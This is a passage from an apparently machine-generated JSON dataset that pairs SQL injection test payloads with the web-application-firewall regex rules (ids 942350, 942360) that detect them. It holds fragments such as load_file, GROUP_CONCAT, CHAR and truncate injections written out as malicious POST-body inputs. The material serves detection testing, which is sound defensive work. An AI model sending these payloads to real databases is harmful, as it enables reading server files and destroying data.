"part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+function[\\s\\x0b].+[\\s\\x0b]returns|;[\\s\\x0b]*?(?:alter|(?:(?:cre|trunc|upd)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)\\b[\\s\\x0b]*?[\\(\\[]?[0-9A-Z_a-z]{2,}", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942350", "test_description": "Status Page Test - MySQL injection with ;truncate[xx" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=1234%20AS%20%22foobar%22%20FROM%20tablevar2=whatever" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "concatenated basic SQL injection and SQLLFI" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "select Char(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT CHAR(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT GROUP_CONCAT(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT group_cOnCat(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "select load_file(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "` AS `edit_user_id` from" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=%60+REGEXP%20" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "` AS `OXTIMESTAMP` from" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942360", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "(load_file(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)\\b[\\s\\x0b]*\\(?|end[\\s\\x0b]*?\\);)|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[\\\"'0-9A-Z_-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:(?:(?:(?:cre|trunc)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)[\\s\\x0b]+[0-9A-Z_a-z]+|u(?:pdate[\\s\\x0b]+[0-9A-Z_a-z]+|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct)\\b)|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w